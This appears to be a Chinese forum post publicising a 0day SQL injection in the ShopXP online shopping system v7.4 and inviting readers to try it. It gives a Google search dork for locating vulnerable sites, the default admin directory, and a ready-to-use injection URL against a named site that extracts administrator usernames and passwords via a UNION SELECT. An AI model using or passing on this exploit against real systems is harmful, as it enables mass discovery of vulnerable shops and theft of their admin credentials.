shopxp网上购物系统用的人也算比较多的了,树大招风,当然也经常让人
暴0day。这次暴的是7.4的版本,有点老了。不过用的人还很多。
大家可以玩玩。
洞版本:shopxp网上购物系统 v7.4
谷歌关键词:inurl:shopxp_news.asp或者shopxp_news.asp
默认管理后台:shopxp_admin
暴密码的EXP:
http://www.tmdsb.com/TEXTBOX2.ASP?action=modify&news%69d=122%20and%201=2%20union%20select%201,2,admin%2bpassword,4,5,6,7%20from%20shopxp_admin |